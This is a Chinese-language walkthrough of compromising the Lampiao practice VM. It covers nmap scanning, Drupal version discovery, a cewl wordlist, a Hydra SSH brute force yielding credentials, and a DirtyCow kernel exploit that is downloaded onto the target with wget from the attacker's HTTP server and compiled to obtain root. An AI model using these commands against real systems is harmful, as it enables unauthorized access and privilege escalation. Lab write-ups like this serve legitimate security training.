打开kali和lamoao虚拟机,话不多说,直接开扫。

nmap 192.168.205.0/24

发现目标主机IP为:192.168.205.136

接着查看端口信息

nmap -p- 192.168.205.136

目标计算机上有三个可用的开放端口22、80、1898端口

查看80端口

192.168.205.136:80

查看1898端口的页面

192.168.205.136:1898

Read more 发现改页面信息,进入页面

http://10.211.55.9:1898/?q=node/2

发现有两个文件夹,直接去访问

http://192.168.205.136:1898/audio.m4a

发现是一段语音

但是虚拟机中没有声音,直接放到主机里

获得用户名User: tiago

紧接着打开第二个,发现是个二维码,直接上工具扫就完了

Try harder! muahuahua

尝试登陆,发现失败,说明这不是密码

爆破网站目录

dirb http://192.168.205.136:1898

获得url:http://192.168.205.136:1898/robots.txt

robots.txt仅为“君子协定”,用于告知搜索引擎爬虫(如百度、谷歌爬虫)哪些页面可以抓取、哪些页面禁止抓取,核心作用是规范爬虫行为,避免敏感目录 / 文件被爬取,同时优化搜索引擎收录策略。它仅对遵守该协议的合规爬虫有效,对恶意爬虫、渗透测试工具无约束,常被渗透测试中作为信息收集的重要目标。

访问url后在里面发现了

http://10.211.55.9:1898/CHANGELOG.txt

CHANGELOG.txt是软件/网站项目中常见的版本变更日志文件,核心作用是记录项目从诞生到迭代过程中的版本更新内容,包括功能新增、Bug修复、漏洞修补、代码优化等信息,通常放在项目根目录(如网站根目录、源码根目录),是开发者维护项目、用户了解更新的重要文档,同时也是渗透测试中信息收集的关键目标。

发现是:Drupal 7.54, 2017-02-01

快速定位该版本Drupal存在的已知漏洞及对应的攻击代码

searchsploit Drupal 7.54

cewl:通过爬行网站获取关键信息创建一个密码字典

cewl http://192.168.205.136:1898/?q=node/1 -w 1.txt

得到1.txt字典

Hydra(九头蛇)爆破

hydra -l tiago -P 1.txt 192.168.205.136 ssh

[22][ssh] host: 192.168.205.136   login: tiago   password: Virgulino

用户: tiago

密码: Virgulino

登录ssh

ssh tiago@192.168.205.136

输入密码后成功登陆

查看基本信息

id

uname -a

uid=1000(tiago) gid=1000(tiago) groups=1000(tiago)

发现是低权限用户1000(tiago)!需要提权!

Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux

需要下载les.sh

https://github.com/The-Z-Labs/linux-exploit-suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

开启服务,准备上传les.sh文件

python3 -m http.server 8081

上传文件

cd /tmp

wget http://192.168.205.129:8081/les.sh

ls查看文件

发现成功上传

./les.sh

chmod +x les.sh

./les.sh

发现很多可测试的点,我们使用dirtycow 2,成功率更高。

https://www.exploit-db.com/download/40847

查看是否存在

searchsploit 40847

将其复制到桌面

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/桌面/

在桌面开启服务

python3 -m http.server 8082

然后把40847.cp发送到靶机上

wget http://192.168.205.129:8082/40847.cpp

使用命令提权

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dayu 40847.cpp -lutil

./dayu

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告

-pedantic 允许发出ANSI/ISO C标准所列出的所有警告

-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高

-std=c++11就是用按C++2011标准来编译的

-pthread 在Linux中要用到多线程时,需要链接pthread库

-o dcow gcc生成的目标文件,名字为dcow

执行gcc编译可执行文件,可直接提权。

Root password is:   dirtyCowFun

获得root用户密码!

重新打开一个终端,进入root用户

ssh root@192.168.205.136

查看目录

ls

发现flag.txt,直接打开查看

cat flag.txt

9740616875908d91ddcdaa8aea3af366

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐